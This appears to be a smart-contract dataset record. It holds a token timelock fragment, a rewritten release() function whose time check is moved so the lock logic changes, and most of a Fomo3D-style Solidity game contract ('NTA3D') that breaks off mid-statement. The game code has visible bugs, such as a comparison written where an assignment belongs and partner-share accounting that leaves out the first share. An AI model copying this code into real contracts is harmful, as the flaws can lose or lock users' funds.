timestamp when token release is enabled uint256 public releaseTime; uint256 public previousWithdrawal = 0; uint256 public year = 365 days; // equivalent to one year constructor() public { token = ERC20Basic(0x814F67fA286f7572B041D041b1D99b432c9155Ee); beneficiary = address(0xC8F202D79F9dE81Ae1c5a69545B352B820c4EbfB); releaseTime = now + year; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { uint256 amount = token.balanceOf(address(this)); require(amount > 0); if(previousWithdrawal == 0){ // calculate 50% of existing amount amount = amount.div(2); }else{ assert(now >= releaseTime); } previousWithdrawal = amount; token.safeTransfer(beneficiary, amount); } function balanceOf() external view returns(uint256){ return token.balanceOf(address(this)); } function currentTime() external view returns(uint256){ return now; } }
Transfers tokens held by timelock to beneficiary./ calculate 50% of existing amount
function release() public { uint256 amount = token.balanceOf(address(this)); require(amount > 0); if(previousWithdrawal == 0){ amount = amount.div(2); assert(now >= releaseTime); } previousWithdrawal = amount; token.safeTransfer(beneficiary, amount); }
11,966,879
pragma solidity ^0.4.25; contract NTA3DEvents { event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onBuyKey ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, uint256 roundID, uint256 ethIn, uint256 keys, uint256 timeStamp ); event onBuyCard ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, uint256 cardID, uint256 ethIn, uint256 timeStamp ); event onRoundEnd ( address winnerAddr, bytes32 winnerName, uint256 roundID, uint256 amountWon, uint256 newPot, uint256 timeStamp ); event onDrop ( address dropwinner, bytes32 winnerName, uint256 roundID, uint256 droptype, //0:smalldrop 1:bigdop uint256 win, uint256 timeStamp ); } contract NTA3D is NTA3DEvents { using SafeMath for *; using NameFilter for string; using NTA3DKeysCalc for uint256; string constant public name = "No Tricks Allow 3D"; string constant public symbol = "NTA3D"; bool activated_; address admin; uint256 constant private rndStarts = 12 hours; // ??need to be continue uint256 constant private rndPerKey = 15 seconds; // every key increase seconds uint256 constant private rndMax = 12 hours; //max count down time; uint256 constant private cardValidity = 1 hours; //stock cards validity uint256 constant private cardPrice = 0.05 ether; //stock cards validity uint256 constant private DIVIDE = 1000; // common divide tool uint256 constant private smallDropTrigger = 50 ether; uint256 constant private bigDropTrigger = 300000 * 1e18; uint256 constant private keyPriceTrigger = 50000 * 1e18; uint256 constant private keyPriceFirst = 0.0005 ether; uint256 constant private oneOffInvest1 = 0.1 ether;//VIP 1 uint256 constant private oneOffInvest2 = 1 ether;// VIP 2 //uint256 public airDropTracker_ = 0; uint256 public rID; // round id number / total rounds that have happened uint256 public pID; // total players //player map data mapping (address => uint256) public pIDxAddr; // get pid by address mapping (bytes32 => uint256) public pIDxName; // get name by pid mapping (uint256 => NTAdatasets.Player) public pIDPlayer; // get player struct by pid\ mapping (uint256 => mapping (uint256 => NTAdatasets.PlayerRound)) public pIDPlayerRound; // pid => rid => playeround //stock cards mapping (uint256 => NTAdatasets.Card) cIDCard; //get card by cID address cardSeller; //team map data //address gameFundsAddr = 0xFD7A82437F7134a34654D7Cb8F79985Df72D7076; address[11] partner; address to06; address to04; address to20A; address to20B; mapping (address => uint256) private gameFunds; // game develeopment get 5% funds //uint256 private teamFee; // team Fee 5% //round data mapping (uint256 => NTAdatasets.Round) public rIDRound; // round data // team dividens mapping (uint256 => NTAdatasets.Deposit) public deposit; mapping (uint256 => NTAdatasets.PotSplit) public potSplit; constructor() public { //constructor activated_ = false; admin = msg.sender; // Team allocation structures // 0 = BISHOP // 1 = ROOK // BISHOP team: ==> |46% to all, 17% to winnerPot, 5% to develop funds, 5% to teamfee, 10% to cards, // |7% to fisrt degree invatation // |3% to second degree invatation, 2% to big airdrop, 5% to small airdrop deposit[0] = NTAdatasets.Deposit(460, 170, 50, 50, 100, 100, 20, 50); // ROOK team: ==> |20% to all, 43% to winnerPot, 5% to develop funds, 5% to teamfee, 10% to cards, // |7% to fisrt degree invatation // |3% to second degree invatation, 2% to big airdrop, 5% to small airdrop deposit[1] = NTAdatasets.Deposit(200, 430, 50, 50, 100, 100, 20, 50); // potSplit: ==> |20% to all, 45% to lastwinner, 5% to inviter 1st, 3% to inviter 2nd, 2% to inviter 3rd, // |8% to key buyer 1st, 5% to key buyer 2nd, 2% to key buyer 3rd, 10% to next round potSplit[0] = NTAdatasets.PotSplit(200, 450, 50, 30, 20, 80, 50, 20, 100); potSplit[1] = NTAdatasets.PotSplit(200, 450, 50, 30, 20, 80, 50, 20, 100); } //============================================================================== // // safety checks //============================================================================== //tested modifier isActivated() { require(activated_ == true, "its not ready yet"); _; } /** * @dev prevents contracts from interacting with fomo3d */ //tested modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } //tested modifier isAdmin() {require(msg.sender == admin, "its can only be call by admin");_;} /** * @dev sets boundaries for incoming tx */ //tested modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } //============================================================================== // // admin functions //============================================================================== //tested function activeNTA() isAdmin() public { activated_ = true; partner[0] = 0xE27Aa5E7D8906779586CfB9DbA2935BDdd7c8210; partner[1] = 0xD4638827Dc486cb59B5E5e47955059A160BaAE13; partner[2] = 0xa088c667591e04cC78D6dfA3A392A132dc5A7f9d; partner[3] = 0xed38deE26c751ff575d68D9Bf93C312e763f8F87; partner[4] = 0x42A7B62f71b7778279DA2639ceb5DD6ee884f905; partner[5] = 0xd471409F3eFE9Ca24b63855005B08D4548742a5b; partner[6] = 0x41c9F005eD19C2B620152f5562D26029b32078B6; partner[7] = 0x11b85bc860A6C38fa7fe6f54f18d350eF5f2787b; partner[8] = 0x11a7c5E7887F2C34356925275882D4321a6B69A8; partner[9] = 0xB5754c7bD005b6F25e1FDAA5f94b2b71e6eA260f; partner[10] = 0x6fbC15cF6d0B05280E99f753E45B631815715E99; to06 = 0x9B53CC857cD9DD5EbE6bc07Bde67D8CE4076345f; to04 = 0x5835a72118c0C784203B8d39936A0875497B6eCa; to20A = 0xEc2441D3113fC2376cd127344331c0F1b959Ce1C; to20B = 0xd1Dac908c97c0a885e9B413a84ACcC0010C002d2; //card cardSeller = 0xeE4f032bdB0f9B51D6c7035d3DEFfc217D91225C; } //tested function startFirstRound() isAdmin() isActivated() public { //must not open before require(rID == 0); newRound(0); } function teamWithdraw() public isHuman() isActivated() { uint256 _temp; address to = msg.sender; require(gameFunds[to] != 0, "you dont have funds"); _temp = gameFunds[to]; gameFunds[to] = 0; to.transfer(_temp); } function getTeamFee(address _addr) public view returns(uint256) { return gameFunds[_addr]; } function getScore(address _addr) public view isAdmin() returns(uint256) { uint256 _pID = pIDxAddr[_addr]; if(_pID == 0 ) return 0; else return pIDPlayerRound[_pID][rID].score; } function setInviterCode(address _addr, uint256 _inv, uint256 _vip, string _nameString) public isAdmin() { //this is for popularzing channel bytes32 _name = _nameString.nameFilter(); uint256 temp = pIDxName[_name]; require(temp == 0, "name already regist"); uint256 _pID = pIDxAddr[_addr]; if(_pID == 0) { pID++; _pID = pID; pIDxAddr[_addr] = _pID; pIDPlayer[_pID].addr = _addr; pIDPlayer[_pID].name = _name; pIDxName[_name] = _pID; pIDPlayer[_pID].inviter1 = _inv; pIDPlayer[_pID].vip = _vip; } else { if(_inv != 0) pIDPlayer[_pID].inviter1 = _inv; pIDPlayer[_pID].name = _name; pIDxName[_name] = _pID; pIDPlayer[_pID].vip = _vip; } } //============================================================================== // // player functions //============================================================================== //emergency buy uses BISHOP team to buy keys function() isActivated() isHuman() isWithinLimits(msg.value) public payable { //fetch player require(rID != 0, "No round existed yet"); uint256 _pID = managePID(0); //buy key buyCore(_pID, 0); } // buy with ID: inviter use pID to invate player to buy like "www.NTA3D.io/?id=101" function buyXid(uint256 _team,uint256 _inviter) isActivated() isHuman() isWithinLimits(msg.value) public payable { require(rID != 0, "No round existed yet"); uint256 _pID = managePID(_inviter); if (_team < 0 || _team > 1 ) { _team = 0; } buyCore(_pID, _team); } // buy with ID: inviter use pID to invate player to buy like "www.NTA3D.io/?n=obama" function buyXname(uint256 _team,string _invName) isActivated() isHuman() isWithinLimits(msg.value) public payable { require(rID != 0, "No round existed yet"); bytes32 _name = _invName.nameFilter(); uint256 _invPID = pIDxName[_name]; uint256 _pID = managePID(_invPID); if (_team < 0 || _team > 1 ) { _team = 0; } buyCore(_pID, _team); } function buyCardXname(uint256 _cID, string _invName) isActivated() isHuman() isWithinLimits(msg.value) public payable { uint256 _value = msg.value; uint256 _now = now; require(_cID < 20, "only has 20 cards"); require(_value == cardPrice, "the card cost 0.05 ether"); require(cIDCard[_cID].owner == 0 || (cIDCard[_cID].buyTime + cardValidity) < _now, "card is in used"); bytes32 _name = _invName.nameFilter(); uint256 _invPID = pIDxName[_name]; uint256 _pID = managePID(_invPID); for (uint i = 0; i < 20; i++) { require(_pID != cIDCard[i].owner, "you already registed a card"); } gameFunds[cardSeller] = gameFunds[cardSeller].add(_value); cIDCard[_cID].addr = msg.sender; cIDCard[_cID].owner = _pID; cIDCard[_cID].buyTime = _now; cIDCard[_cID].earnings = 0; emit onBuyCard(_pID, pIDPlayer[_pID].addr, pIDPlayer[_pID].name, _cID, _value, now); } function buyCardXid(uint256 _cID, uint256 _inviter) isActivated() isHuman() isWithinLimits(msg.value) public payable { uint256 _value = msg.value; uint256 _now = now; require(_cID < 20, "only has 20 cards"); require(_value == cardPrice, "the card cost 0.05 ether"); require(cIDCard[_cID].owner == 0 || (cIDCard[_cID].buyTime + cardValidity) < _now, "card is in used"); uint256 _pID = managePID(_inviter); for (uint i = 0; i < 20; i++) { require(_pID != cIDCard[i].owner, "you already registed a card"); } gameFunds[cardSeller] = gameFunds[cardSeller].add(_value); cIDCard[_cID].addr = msg.sender; cIDCard[_cID].owner = _pID; cIDCard[_cID].buyTime = _now; cIDCard[_cID].earnings = 0; emit onBuyCard(_pID, pIDPlayer[_pID].addr, pIDPlayer[_pID].name, _cID, _value, now); } // regist a name function registNameXid(string _nameString, uint256 _inviter) isActivated() isHuman() public { bytes32 _name = _nameString.nameFilter(); uint256 temp = pIDxName[_name]; require(temp == 0, "name already regist"); uint256 _pID = managePID(_inviter); pIDxName[_name] = _pID; pIDPlayer[_pID].name = _name; } function registNameXname(string _nameString, string _inviterName) isActivated() isHuman() public { bytes32 _name = _nameString.nameFilter(); uint256 temp = pIDxName[_name]; require(temp == 0, "name already regist"); bytes32 _invName = _inviterName.nameFilter(); uint256 _invPID = pIDxName[_invName]; uint256 _pID = managePID(_invPID); pIDxName[_name] = _pID; pIDPlayer[_pID].name = _name; } function withdraw() isActivated() isHuman() public { // setup local rID uint256 _rID = rID; // grab time uint256 _now = now; uint256 _pID = pIDxAddr[msg.sender]; require(_pID != 0, "cant find user"); uint256 _eth = 0; if (rIDRound[_rID].end < _now && rIDRound[_rID].ended == false) { rIDRound[_rID].ended = true; endRound(); } // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) pIDPlayer[_pID].addr.transfer(_eth); //emit emit onWithdraw(_pID, pIDPlayer[_pID].addr, pIDPlayer[_pID].name, _eth, now); } //============================================================================== // // view functions //============================================================================== /** * return the price buyer will pay for next 1 individual key. * @return price for next key bought (in wei format) */ //tested function getBuyPrice(uint256 _key) public view returns(uint256) { // setup local rID uint256 _rID = rID; // grab time uint256 _now = now; uint256 _keys = rIDRound[_rID].team1Keys + rIDRound[_rID].team2Keys; // round is active if (rIDRound[_rID].end >= _now || (rIDRound[_rID].end < _now && rIDRound[_rID].leadPID == 0)) return _keys.ethRec(_key * 1e18); else return keyPriceFirst; } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * @return time left in seconds */ //tested function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID; // grab time uint256 _now = now; if (rIDRound[_rID].end >= _now) return (rIDRound[_rID].end.sub(_now)); else return 0; } //tested function getPlayerVaults() public view returns(uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID; uint256 _now = now; uint256 _pID = pIDxAddr[msg.sender]; if (_pID == 0) return (0, 0, 0, 0, 0); uint256 _last = pIDPlayer[_pID].lrnd; uint256 _inv = pIDPlayerRound[_pID][_last].inv; uint256 _invMask = pIDPlayerRound[_pID][_last].invMask; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (rIDRound[_rID].end < _now && rIDRound[_rID].ended == false && rIDRound[_rID].leadPID != 0) { // if player is winner if (rIDRound[_rID].leadPID == _pID) return ( (pIDPlayer[_pID].win).add((rIDRound[_rID].pot).mul(45) / 100), pIDPlayer[_pID].gen.add(calcUnMaskedEarnings(_pID, pIDPlayer[_pID].lrnd)), pIDPlayer[_pID].inv.add(_inv).sub0(_invMask), pIDPlayer[_pID].tim.add(calcTeamEarnings(_pID, pIDPlayer[_pID].lrnd)), pIDPlayer[_pID].crd ); else return ( pIDPlayer[_pID].win, pIDPlayer[_pID].gen.add(calcUnMaskedEarnings(_pID, pIDPlayer[_pID].lrnd)), pIDPlayer[_pID].inv.add(_inv).sub0(_invMask), pIDPlayer[_pID].tim.add(calcTeamEarnings(_pID, pIDPlayer[_pID].lrnd)), pIDPlayer[_pID].crd ); } else { return ( pIDPlayer[_pID].win, pIDPlayer[_pID].gen.add(calcUnMaskedEarnings(_pID, pIDPlayer[_pID].lrnd)), pIDPlayer[_pID].inv.add(_inv).sub0(_invMask), pIDPlayer[_pID].tim.add(calcTeamEarnings(_pID, pIDPlayer[_pID].lrnd)), pIDPlayer[_pID].crd ); } } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID; return(_rID, rIDRound[_rID].team1Keys + rIDRound[_rID].team2Keys, //total key rIDRound[_rID].eth, //total eth rIDRound[_rID].strt, //start time rIDRound[_rID].end, //end time rIDRound[_rID].pot, //last winer pot rIDRound[_rID].leadPID, //current last player pIDPlayer[rIDRound[_rID].leadPID].addr, //cureest last player address pIDPlayer[rIDRound[_rID].leadPID].name, //cureest last player name rIDRound[_rID].smallDrop, rIDRound[_rID].bigDrop, rIDRound[_rID].teamPot //teampot ); } function getRankList() public view //invitetop3 amout keyTop3 key returns (address[3], uint256[3], bytes32[3], address[3], uint256[3], bytes32[3]) { uint256 _rID = rID; address[3] memory inv; address[3] memory key; bytes32[3] memory invname; uint256[3] memory invRef; uint256[3] memory keyamt; bytes32[3] memory keyname; inv[0] = pIDPlayer[rIDRound[_rID].invTop3[0]].addr; inv[1] = pIDPlayer[rIDRound[_rID].invTop3[1]].addr; inv[2] = pIDPlayer[rIDRound[_rID].invTop3[2]].addr; invRef[0] = pIDPlayerRound[rIDRound[_rID].invTop3[0]][_rID].inv; invRef[1] = pIDPlayerRound[rIDRound[_rID].invTop3[1]][_rID].inv; invRef[2] = pIDPlayerRound[rIDRound[_rID].invTop3[2]][_rID].inv; invname[0] = pIDPlayer[rIDRound[_rID].invTop3[0]].name; invname[1] = pIDPlayer[rIDRound[_rID].invTop3[1]].name; invname[2] = pIDPlayer[rIDRound[_rID].invTop3[2]].name; key[0] = pIDPlayer[rIDRound[_rID].keyTop3[0]].addr; key[1] = pIDPlayer[rIDRound[_rID].keyTop3[1]].addr; key[2] = pIDPlayer[rIDRound[_rID].keyTop3[2]].addr; keyamt[0] = pIDPlayerRound[rIDRound[_rID].keyTop3[0]][_rID].team1Keys + pIDPlayerRound[rIDRound[_rID].keyTop3[0]][_rID].team2Keys; keyamt[1] = pIDPlayerRound[rIDRound[_rID].keyTop3[1]][_rID].team1Keys + pIDPlayerRound[rIDRound[_rID].keyTop3[1]][_rID].team2Keys; keyamt[2] = pIDPlayerRound[rIDRound[_rID].keyTop3[2]][_rID].team1Keys + pIDPlayerRound[rIDRound[_rID].keyTop3[2]][_rID].team2Keys; keyname[0] = pIDPlayer[rIDRound[_rID].keyTop3[0]].name; keyname[1] = pIDPlayer[rIDRound[_rID].keyTop3[1]].name; keyname[2] = pIDPlayer[rIDRound[_rID].keyTop3[2]].name; return (inv, invRef, invname, key, keyamt, keyname); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ //tested function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr[_addr]; if (_pID == 0) return (0, 0x0, 0, 0, 0); else return ( _pID, //0 pIDPlayer[_pID].name, //1 pIDPlayerRound[_pID][_rID].team1Keys + pIDPlayerRound[_pID][_rID].team2Keys, pIDPlayerRound[_pID][_rID].eth, //6 pIDPlayer[_pID].vip ); } function getCards(uint256 _id) public view returns(uint256, address, bytes32, uint256, uint256) { bytes32 _name = pIDPlayer[cIDCard[_id].owner].name; return ( cIDCard[_id].owner, cIDCard[_id].addr, _name, cIDCard[_id].buyTime, cIDCard[_id].earnings ); } //============================================================================== // // private functions //============================================================================== //tested function managePID(uint256 _inviter) private returns(uint256) { uint256 _pID = pIDxAddr[msg.sender]; if (_pID == 0) { pID++; pIDxAddr[msg.sender] = pID; pIDPlayer[pID].addr = msg.sender; pIDPlayer[pID].name = 0x0; _pID = pID; } // handle direct and second hand inviter if (pIDPlayer[_pID].inviter1 == 0 && pIDPlayer[_inviter].addr != address(0) && _pID != _inviter) { pIDPlayer[_pID].inviter1 = _inviter; uint256 _in = pIDPlayer[_inviter].inviter1; if (_in != 0) { pIDPlayer[_pID].inviter2 = _in; } } // oneoff invite get invitation link if (msg.value >= oneOffInvest2) { pIDPlayer[_pID].vip = 2; } else if (msg.value >= oneOffInvest1) { if (pIDPlayer[_pID].vip != 2) pIDPlayer[_pID].vip = 1; } return _pID; } function buyCore(uint256 _pID, uint256 _team) private { // setup local rID uint256 _rID = rID; // grab time uint256 _now = now; //update last round; if (pIDPlayer[_pID].lrnd != _rID) updateVault(_pID); pIDPlayer[_pID].lrnd = _rID; uint256 _inv1 = pIDPlayer[_pID].inviter1; uint256 _inv2 = pIDPlayer[_pID].inviter2; // round is active if (rIDRound[_rID].end >= _now || (rIDRound[_rID].end < _now && rIDRound[_rID].leadPID == 0)) { core(_rID, _pID, msg.value, _team); if (_inv1 != 0) doRankInv(_rID, _inv1, rIDRound[_rID].invTop3, pIDPlayerRound[_inv1][_rID].inv); if (_inv2 != 0) doRankInv(_rID, _inv2, rIDRound[_rID].invTop3, pIDPlayerRound[_inv2][_rID].inv); doRankKey(_rID, _pID, rIDRound[_rID].keyTop3, pIDPlayerRound[_pID][_rID].team1Keys + pIDPlayerRound[_pID][_rID].team2Keys); emit onBuyKey( _pID, pIDPlayer[_pID].addr, pIDPlayer[_pID].name, _rID, msg.value, pIDPlayerRound[_pID][_rID].team1Keys + pIDPlayerRound[_pID][_rID].team2Keys, now); } else { if (rIDRound[_rID].end < _now && rIDRound[_rID].ended == false) { rIDRound[_rID].ended = true; endRound(); //if you trigger the endround. whatever how much you pay ,you will fail to buykey //and the eth will return to your gen. pIDPlayer[_pID].gen = pIDPlayer[_pID].gen.add(msg.value); } } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team) private { NTAdatasets.Round storage _roundID = rIDRound[_rID]; NTAdatasets.Deposit storage _deposit = deposit[_team]; //NTAdatasets.PlayerRound storage _playerRound = pIDPlayerRound[_pID][_rID]; // calculate how many keys they can get uint256 _keysAll = _roundID.team1Keys + _roundID.team2Keys;//(rIDRound[_rID].eth).keysRec(_eth); uint256 _keys = _keysAll.keysRec(rIDRound[_rID].eth + _eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); } uint256 _left = _eth; //2% to bigDrop uint256 _temp = _eth.mul(_deposit.bigDrop) / DIVIDE; doBigDrop(_rID, _pID, _keys, _temp); _left = _left.sub0(_temp); //5% to smallDrop _temp = _eth.mul(_deposit.smallDrop) / DIVIDE; doSmallDrop(_rID, _pID, _eth, _temp); _left = _left.sub0(_temp); _roundID.eth = _roundID.eth.add(_eth); pIDPlayerRound[_pID][_rID].eth = pIDPlayerRound[_pID][_rID].eth.add(_eth); if (_team == 0) { _roundID.team1Keys = _roundID.team1Keys.add(_keys); pIDPlayerRound[_pID][_rID].team1Keys = pIDPlayerRound[_pID][_rID].team1Keys.add(_keys); } else { _roundID.team2Keys = _roundID.team2Keys.add(_keys); pIDPlayerRound[_pID][_rID].team2Keys = pIDPlayerRound[_pID][_rID].team2Keys.add(_keys); } //X% to all uint256 _all = _eth.mul(_deposit.allPlayer) / DIVIDE; _roundID.playerPot = _roundID.playerPot.add(_all); uint256 _dust = updateMasks(_rID, _pID, _all, _keys); _roundID.pot = _roundID.pot.add(_dust); _left = _left.sub0(_all); //X% to winnerPot _temp = _eth.mul(_deposit.pot) / DIVIDE; _roundID.pot = _roundID.pot.add(_temp); _left = _left.sub0(_temp); //5% to develop funds _temp = _eth.mul(_deposit.devfunds) / DIVIDE; doDevelopFunds(_temp); //gameFunds[gameFundsAddr] = gameFunds[gameFundsAddr].add(_temp); _left = _left.sub0(_temp); //5% to team fee _temp = _eth.mul(_deposit.teamFee) / DIVIDE; //gameFunds[partner1] = gameFunds[partner1].add(_temp.mul(50) / DIVIDE); _dust = doPartnerShares(_temp); _left = _left.sub0(_temp).add(_dust); //10% to cards _temp = _eth.mul(_deposit.cards) / DIVIDE; _left = _left.sub0(_temp).add(distributeCards(_temp)); // if no cards ,the money will add into left // 10% to invatation _temp = _eth.mul(_deposit.inviter) / DIVIDE; _dust = doInvite(_rID, _pID, _temp); _left = _left.sub0(_temp).add(_dust); //update round; if (_keys >= 1000000000000000000) { _roundID.leadPID = _pID; _roundID.team = _team; } _roundID.smallDrop = _roundID.smallDrop.add(_left); } //tested function doInvite(uint256 _rID, uint256 _pID, uint256 _value) private returns(uint256){ uint256 _score = msg.value; uint256 _left = _value; uint256 _inviter1 = pIDPlayer[_pID].inviter1; uint256 _fee; uint256 _inviter2 = pIDPlayer[_pID].inviter2; if (_inviter1 != 0) pIDPlayerRound[_inviter1][_rID].score = pIDPlayerRound[_inviter1][_rID].score.add(_score); if (_inviter2 != 0) pIDPlayerRound[_inviter2][_rID].score = pIDPlayerRound[_inviter2][_rID].score.add(_score); //invitor if (_inviter1 == 0 || pIDPlayer[_inviter1].vip == 0) return _left; if (pIDPlayer[_inviter1].vip == 1) { _fee = _value.mul(70) / 100; _inviter2 = pIDPlayer[_pID].inviter2; _left = _left.sub0(_fee); pIDPlayerRound[_inviter1][_rID].inv = pIDPlayerRound[_inviter1][_rID].inv.add(_fee); if (_inviter2 == 0 || pIDPlayer[_inviter2].vip != 2) return _left; else { _fee = _value.mul(30) / 100; _left = _left.sub0(_fee); pIDPlayerRound[_inviter2][_rID].inv = pIDPlayerRound[_inviter2][_rID].inv.add(_fee); return _left; } } else if (pIDPlayer[_inviter1].vip == 2) { _left = _left.sub0(_value); pIDPlayerRound[_inviter1][_rID].inv = pIDPlayerRound[_inviter1][_rID].inv.add(_value); return _left; } else { return _left; } } function doRankInv(uint256 _rID, uint256 _pID, uint256[3] storage rank, uint256 _value) private { if (_value >= pIDPlayerRound[rank[0]][_rID].inv && _value != 0) { if (_pID != rank[0]) { uint256 temp = rank[0]; rank[0] = _pID; if (rank[1] == _pID) { rank[1] = temp; } else { rank[2] = rank[1]; rank[1] = temp; } } } else if (_value >= pIDPlayerRound[rank[1]][_rID].inv && _value != 0) { if (_pID != rank[1]) { rank[2] = rank[1]; rank[1] = _pID; } } else if (_value >= pIDPlayerRound[rank[2]][_rID].inv && _value != 0) { rank[2] = _pID; } } function doRankKey(uint256 _rID, uint256 _pID, uint256[3] storage rank, uint256 _value) private { if (_value >= (pIDPlayerRound[rank[0]][_rID].team1Keys + pIDPlayerRound[rank[0]][_rID].team2Keys)) { if (_pID != rank[0]) { uint256 temp = rank[0]; rank[0] = _pID; if (rank[1] == _pID) { rank[1] = temp; } else { rank[2] = rank[1]; rank[1] = temp; } } } else if (_value >= (pIDPlayerRound[rank[1]][_rID].team1Keys + pIDPlayerRound[rank[1]][_rID].team2Keys)) { if (_pID != rank[1]){ rank[2] = rank[1]; rank[1] = _pID; } } else if (_value >= (pIDPlayerRound[rank[2]][_rID].team1Keys + pIDPlayerRound[rank[2]][_rID].team2Keys)) { rank[2] = _pID; } } //tested function doSmallDrop(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _small) private { // modulo current round eth, and add player eth to see if it can trigger the trigger; uint256 _remain = rIDRound[_rID].eth % smallDropTrigger; if ((_remain + _eth) >= smallDropTrigger) { uint256 _reward = rIDRound[_rID].smallDrop; rIDRound[_rID].smallDrop = 0; pIDPlayer[_pID].win = pIDPlayer[_pID].win.add(_reward); rIDRound[_rID].smallDrop = rIDRound[_rID].smallDrop.add(_small); emit NTA3DEvents.onDrop(pIDPlayer[_pID].addr, pIDPlayer[_pID].name, _rID, 0, _reward, now); //emit } else { rIDRound[_rID].smallDrop = rIDRound[_rID].smallDrop.add(_small); } } //tested function doBigDrop(uint256 _rID, uint256 _pID, uint256 _key, uint256 _big) private { uint256 _keys = rIDRound[_rID].team1Keys + rIDRound[_rID].team2Keys; uint256 _remain = _keys % bigDropTrigger; if ((_remain + _key) >= bigDropTrigger) { uint256 _reward = rIDRound[_rID].bigDrop; rIDRound[_rID].bigDrop = 0; pIDPlayer[_pID].win = pIDPlayer[_pID].win.add(_reward); rIDRound[_rID].bigDrop = rIDRound[_rID].bigDrop.add(_big); emit NTA3DEvents.onDrop(pIDPlayer[_pID].addr, pIDPlayer[_pID].name, _rID, 1, _reward, now); //emit } else { rIDRound[_rID].bigDrop = rIDRound[_rID].bigDrop.add(_big); } } function distributeCards(uint256 _eth) private returns(uint256){ uint256 _each = _eth / 20; uint256 _remain = _eth; for (uint i = 0; i < 20; i++) { uint256 _pID = cIDCard[i].owner; if (_pID != 0) { pIDPlayer[_pID].crd = pIDPlayer[_pID].crd.add(_each); cIDCard[i].earnings = cIDCard[i].earnings.add(_each); _remain = _remain.sub0(_each); } } return _remain; } function doPartnerShares(uint256 _eth) private returns(uint256) { uint i; uint256 _temp; uint256 _left = _eth; //first 10% _temp = _eth.mul(10) / 100; gameFunds[partner[0]] = gameFunds[partner[0]].add(_temp); for(i = 1; i < 11; i++) { _temp = _eth.mul(9) / 100; gameFunds[partner[i]] = gameFunds[partner[i]].add(_temp); _left = _left.sub0(_temp); } return _left; } function doDevelopFunds(uint256 _eth) private{ uint256 _temp; _temp = _eth.mul(12) / 100; gameFunds[to06] = gameFunds[to06].add(_temp); _temp = _eth.mul(8) / 100; gameFunds[to04] = gameFunds[to04].add(_temp); _temp = _eth.mul(40) / 100; gameFunds[to20A] = gameFunds[to20A].add(_temp); _temp = _eth.mul(40) / 100; gameFunds[to20B] = gameFunds[to20B].add(_temp); } function endRound() private { NTAdatasets.Round storage _roundID = rIDRound[rID]; NTAdatasets.PotSplit storage _potSplit = potSplit[0]; uint256 _winPID = _roundID.leadPID; uint256 _pot = _roundID.pot; uint256 _left = _pot; //the pot is too small endround will ignore the dividens //new round will start at 0 eth if(_pot < 10000000000000) { emit onRoundEnd(pIDPlayer[_winPID].addr, pIDPlayer[_winPID].name, rID, _roundID.pot,0, now); newRound(0); return; } // potSplit: ==> |20% to all, 45% to lastwinner, 5% to inviter 1st, 3% to inviter 2nd, 2% to inviter 3rd, // |8% to key buyer 1st, 5% to key buyer 2nd, 2% to key buyer 3rd, 10% to next round //20% to all uint256 _all = _pot.mul(_potSplit.allPlayer) / DIVIDE; _roundID.teamPot = _roundID.teamPot.add(_all); _left = _left.sub0(_all); //45% to lastwinner uint256 _temp = _pot.mul(_potSplit.lastWinner) / DIVIDE; pIDPlayer[_winPID].win = pIDPlayer[_winPID].win.add(_temp); _left = _left.sub0(_temp); //5% to inviter 1st, 3% to inviter 2nd, 2% to inviter 3rd uint256 _inv1st = _pot.mul(_potSplit.inviter1st) / DIVIDE; if (_roundID.invTop3[0] != 0) { pIDPlayer[_roundID.invTop3[0]].win = pIDPlayer[_roundID.invTop3[0]].win.add(_inv1st); _left = _left.sub0(_inv1st); } _inv1st = _pot.mul(_potSplit.inviter2nd) / DIVIDE; if (_roundID.invTop3[1] != 0) { pIDPlayer[_roundID.invTop3[1]].win = pIDPlayer[_roundID.invTop3[1]].win.add(_inv1st); _left = _left.sub0(_inv1st); } _inv1st = _pot.mul(_potSplit.inviter3rd) / DIVIDE; if (_roundID.invTop3[2] != 0) { pIDPlayer[_roundID.invTop3[2]].win = pIDPlayer[_roundID.invTop3[2]].win.add(_inv1st); _left = _left.sub0(_inv1st); } //8% to key buyer 1st, 5% to key buyer 2nd, 2% to key buyer 3rd _inv1st = _pot.mul(_potSplit.key1st) / DIVIDE; if (_roundID.keyTop3[0] != 0) { pIDPlayer[_roundID.keyTop3[0]].win = pIDPlayer[_roundID.keyTop3[0]].win.add(_inv1st); _left = _left.sub0(_inv1st); } _inv1st = _pot.mul(_potSplit.key2nd) / DIVIDE; if (_roundID.keyTop3[1] != 0) { pIDPlayer[_roundID.keyTop3[1]].win = pIDPlayer[_roundID.keyTop3[1]].win.add(_inv1st); _left = _left.sub0(_inv1st); } _inv1st = _pot.mul(_potSplit.key3rd) / DIVIDE; if (_roundID.keyTop3[2] != 0) { pIDPlayer[_roundID.keyTop3[2]].win = pIDPlayer[_roundID.keyTop3[2]].win.add(_inv1st); _left = _left.sub0(_inv1st); } //10% to next round uint256 _newPot = _pot.mul(potSplit[0].next) / DIVIDE; _left = _left.sub0(_newPot); emit 